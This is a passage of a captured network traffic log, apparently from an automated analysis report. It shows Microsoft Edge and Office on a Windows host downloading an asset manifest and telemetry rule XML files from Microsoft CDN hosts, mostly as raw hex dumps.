`_i'@H'f!x`f.v_1wu<
2024-11-23 18:52:54 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-23 18:52:54 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-23 18:52:55 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-23 18:52:55 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49885	13.107.246.63	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:54 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:52:54 UTC	577	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:54 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: d17496d3-b01e-003a-0dd6-3d2ba4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T185254Z-178bfbc474bh5zbqhC1NYCkdug00000004p000000000ps14 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 18:52:54 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-23 18:52:54 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-23 18:52:55 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-23 18:52:55 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-23 18:52:55 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-23 18:52:55 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-23 18:52:55 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-23 18:52:55 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-23 18:52:55 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-23 18:52:55 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:54 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:55 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185255Z-178bfbc474bbbqrhhC1NYCvw740000000520000000005vkb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:55 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:55 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:55 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 6f884587-b01e-0001-3155-3c46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185255Z-15b8b599d88l2dpthC1TEBmzr0000000039000000000b98f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:55 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:55 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:55 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 6b04d5e8-e01e-000c-65ad-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185255Z-174c587ffdftv9hphC1TEBm29w000000035g00000000ngp4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:55 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O 